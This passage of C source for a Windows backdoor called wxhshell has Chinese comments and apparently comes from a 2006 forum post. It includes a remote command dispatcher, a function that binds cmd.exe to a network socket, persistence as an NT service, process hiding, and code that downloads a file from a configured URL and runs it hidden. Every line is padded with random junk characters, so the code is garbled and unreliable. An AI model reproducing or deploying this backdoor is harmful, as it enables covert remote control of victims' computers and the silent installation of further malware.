  // 帮助 P<4jY?.  
  case '?': { [sKdIw_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #{ Uk4  
    break; Q}fAAZ&7h  
  } q}\\p  
  // 安装 =h_4TpDQ  
  case 'i': { \v-> '  
    if(Install()) zRE7 w:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zp__  
    else acGmRP9g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E!Fy2h>[Z  
    break; 0|^x[dh  
    } m/6oQ  
  // 卸载 BxZop.zwE(  
  case 'r': { -ZyFUGd%  
    if(Uninstall()) ([9h.M6v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .PAkW2\#  
    else i*U\~CZjT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VJR'B={h  
    break; s9E:6  
    } .ySesN: C~  
  // 显示 wxhshell 所在路径 Bgs~1E@8V  
  case 'p': { 3.dUMJ$_  
    char svExeFile[MAX_PATH]; jZ{S{"j  
    strcpy(svExeFile,"\n\r"); HK[sHB&  
      strcat(svExeFile,ExeFile); aF;&#TsB  
        send(wsh,svExeFile,strlen(svExeFile),0); SpkVV/  
    break; "]NQTUb;  
    } 40 c#zCE  
  // 重启 xd .I5  
  case 'b': { zA"D0fr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QOF;j#H^  
    if(Boot(REBOOT)) M3t_!HP}!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`IgfJN  
    else { o"]eAQ  
    closesocket(wsh); $&e(V6A@  
    ExitThread(0); ^g[])2",  
    } ,^<+5TYM7  
    break; f$ Ap\(.  
    } mJsYY,b8  
  // 关机 (bo bKr  
  case 'd': { 1I@4xC #X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M5x!84  
    if(Boot(SHUTDOWN)) c~tSt.^WX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _N-7H\hF  
    else { v;RQVH;,  
    closesocket(wsh); h ?ia4t  
    ExitThread(0); +I Ze`M%n  
    } -y\N9  
    break; eLC&f}  
    } <#s-hQ  
  // 获取shell O?2<rbx  
  case 's': { n7MS{`  
    CmdShell(wsh); c'|MC[^A  
    closesocket(wsh); MV/~Rmd.  
    ExitThread(0); cUm9s>^)/  
    break; 7GIv3Dc  
  } v:HgpZo+  
  // 退出 b?bYPN+  
  case 'x': { zgRP!q<9tt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I?Zs|A  
    CloseIt(wsh); ^6 LFho4  
    break; n5JB'F)  
    } -E500F*b  
  // 离开 ,m"ztu-  
  case 'q': { I+CQ,Zuf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pS<b|wu?f  
    closesocket(wsh); sTA/2d  
    WSACleanup(); =3zn Ta }  
    exit(1); @NH Ruk+  
    break; L$Leo6<3a  
        } ]8_h9ziz  
  } H3c=B /+  
  } w7Pe< vT  
x@Y2jM  
  // 提示信息 >=`c [=:Z_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4bxkp3~h;  
} Xou#38&p>  
  } &Bp\kv  
|be r:1  
  return; ZKR z=(  
} (k5DbP[  
wr$}AX  
// shell模块句柄 wrO>#`Z  
int CmdShell(SOCKET sock) vW{cB y  
{ tT8jC:oVa  
STARTUPINFO si; .#:,j1L"53  
ZeroMemory(&si,sizeof(si)); L~oFW'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y{{EC#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9kF#*  
PROCESS_INFORMATION ProcessInfo; eb/V}%  
char cmdline[]="cmd"; fD~!t 8J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @1@q6@9Tu  
  return 0; 0`P]fL+&  
} 7XDV=PQ[  
];I|_fXo%  
// 自身启动模式 1SFKP$^  
int StartFromService(void) XsOOkf\_  
{ 1:Yt2]  
typedef struct !1RV[b.8  
{ p\{+l;`  
  DWORD ExitStatus; X]yERaJ,i  
  DWORD PebBaseAddress; lz)"zV  
  DWORD AffinityMask; g&Z7h4!\  
  DWORD BasePriority; zkp Apj].  
  ULONG UniqueProcessId; |g7h#F~  
  ULONG InheritedFromUniqueProcessId;  i) 2))C  
}   PROCESS_BASIC_INFORMATION; Ft7a\vn*B  
N-rm k  
PROCNTQSIP NtQueryInformationProcess; ya{>=  
Z0=m:h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L, {rMLM%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y/S3)o  
2*citB{  
  HANDLE             hProcess; X?6h>%) k  
  PROCESS_BASIC_INFORMATION pbi; VU/W~gb4"A  
IPO[J^#Me  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O8r"M8  
  if(NULL == hInst ) return 0; ^)q2\ YE;  
(J*w./  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UPKi/)C;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7rSUSra  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (oXN>^-D  
VWshFI  
  if (!NtQueryInformationProcess) return 0; DVhTb  
1qC:3 ;P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %]ayW$4  
  if(!hProcess) return 0; ,z1!~gIal  
&#@>(u: .  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i$ L]X[  
eU koVr   
  CloseHandle(hProcess); JQ_gM._3  
KupMndK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CjQ"oQw  
if(hProcess==NULL) return 0; 5FSv"=  
v1C.\fL  
HMODULE hMod; Tq84Fn!HJ>  
char procName[255]; T'M66kg  
unsigned long cbNeeded; _g 4 /%  
(L5'rNk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eFSC^  
yb{Q,Dz  
  CloseHandle(hProcess); I/Jp,~JT*  
r%l%yCH  
if(strstr(procName,"services")) return 1; // 以服务启动 mY`]33??v  
cIr1"5POXK  
  return 0; // 注册表启动 wz+5 8(  
} d_C4B  
+V9B  
// 主模块 ^ 6.lb\  
int StartWxhshell(LPSTR lpCmdLine) dPx<Dz;  
{ ?Y{^un  
  SOCKET wsl; z9 w&uZzi  
BOOL val=TRUE; ~u0xXfv#  
  int port=0; A,gx5!J  
  struct sockaddr_in door; 5Vi]~dZu7  
qijcS2E6S  
  if(wscfg.ws_autoins) Install(); `OP>(bU0  
~g1, !Wl  
port=atoi(lpCmdLine); X B*}P  
m*!f%}T  
if(port<=0) port=wscfg.ws_port; 4C1FPrh  
14D 7U/zer  
  WSADATA data; *w/WHQ`xI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /u)Rppu  
8rwYNb.P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R|1xXDLm*E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0HR|aqPo  
  door.sin_family = AF_INET; ck+b/.gw`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gKN}Of@^1  
  door.sin_port = htons(port); L"foL  
C4{\@v}t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VI24+h'J  
closesocket(wsl); )_8}53C  
return 1; |= cCv_y  
} h `ME(U~<<  
BMNr<P2li  
  if(listen(wsl,2) == INVALID_SOCKET) { 9&%#nN4`8  
closesocket(wsl); n}A?jOSAe  
return 1; i u1KRuaF[  
} GVG!sM mnX  
  Wxhshell(wsl); iS1Gb$?  
  WSACleanup();  *q*HGW5  
nG"n-$A?<  
return 0; !&`}]qQZ  
"#pzZ)Zh  
} >+ ]R4  
f]8!DXEA  
// 以NT服务方式启动 ejklpa ./  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sS2_-X[_  
{ uuSR%KK]|  
DWORD   status = 0; 1OJ*wI*  
  DWORD   specificError = 0xfffffff; 8?7kIin  
3Q"F(uE v^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .G}k/`a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R zS|dGNQE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bar0{!Y"  
  serviceStatus.dwWin32ExitCode     = 0; 5g``30:o  
  serviceStatus.dwServiceSpecificExitCode = 0; WRD A `  
  serviceStatus.dwCheckPoint       = 0; 2@ 9pr  
  serviceStatus.dwWaitHint       = 0; >?5xDbRj  
fw' r.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MBB5wj  
  if (hServiceStatusHandle==0) return; lwOf)jK:J  
s>|Z7[*  
status = GetLastError(); 0e+W/Tq  
  if (status!=NO_ERROR) 3;a R\:p@w  
{ ,?g=U8y|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sEce{"VC  
    serviceStatus.dwCheckPoint       = 0; z2w;oM$g  
    serviceStatus.dwWaitHint       = 0; 'y9*uT~  
    serviceStatus.dwWin32ExitCode     = status; J/'M N  
    serviceStatus.dwServiceSpecificExitCode = specificError; wE$s'e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U:]MgZWn  
    return; F7{R~mS;  
  } c>ad0xce6  
1")FWN_K/T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p9-0?(]  
  serviceStatus.dwCheckPoint       = 0; M8';%  =@  
  serviceStatus.dwWaitHint       = 0; G02ox5X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !4R>O6k   
} ~G>jw"r  
TbLe6x  
// 处理NT服务事件,比如:启动、停止 vv+D*e&<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *hVb5CS  
{ ?7 #7:  
switch(fdwControl) 6b?`:$Cw3)  
{ <EMkD1e  
case SERVICE_CONTROL_STOP: +z\\VD  
  serviceStatus.dwWin32ExitCode = 0;  I>A^I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]gu1#  
  serviceStatus.dwCheckPoint   = 0; 6Rcu a<;2P  
  serviceStatus.dwWaitHint     = 0; n]+.  
  { ; XG]Q<S\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BhKO_wQ?:J  
  } L=,OZ9aA  
  return; &1wpGJqm  
case SERVICE_CONTROL_PAUSE: qZaO&"q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mD7}t  
  break; *z0K%@M  
case SERVICE_CONTROL_CONTINUE: +W9]ED  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %3M95UZ2  
  break; TPHYz>D]  
case SERVICE_CONTROL_INTERROGATE: -!c IesK;<  
  break; !!FR[NK  
}; 9\ v.qo.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %[w Tz$S"  
} F>N+<Z  
R<_?W#$j  
// 标准应用程序主函数 -vV'Lw(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3DW3LYo{  
{ BCx!0v?9  
`<^*jB@P  
// 获取操作系统版本 u_.HPA  
OsIsNt=GetOsVer(); 6xarYh(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iJ)0Y~  
&<Mt=(qY1  
  // 从命令行安装 '[nmFCG%m*  
  if(strpbrk(lpCmdLine,"iI")) Install(); wcZbmJ:  
"tL2F*F"6X  
  // 下载执行文件 7 _g+^e-"  
if(wscfg.ws_downexe) { x;j{} %  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ==N` !+  
  WinExec(wscfg.ws_filenam,SW_HIDE); cZ|lCy^  
} [Ct=F|  
as r=m{C"  
if(!OsIsNt) { R2 lXTW*  
// 如果时win9x,隐藏进程并且设置为注册表启动 |5,<jyp  
HideProc(); > \3ah4"o  
StartWxhshell(lpCmdLine); &~#iIk~%  
} DLi?'K3t  
else Vclr2]eV4O  
  if(StartFromService()) EMlIxpCn:  
  // 以服务方式启动 "jR]MZ  
  StartServiceCtrlDispatcher(DispatchTable); HzvlF0f  
else ,=|4:F9  
  // 普通方式启动 ` W4dx&  
  StartWxhshell(lpCmdLine); rjUBLY1(  
CWi8Fv  
return 0; 0(gq; H5x'  
}
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只看该作者 1 发表于: 2006-10-10
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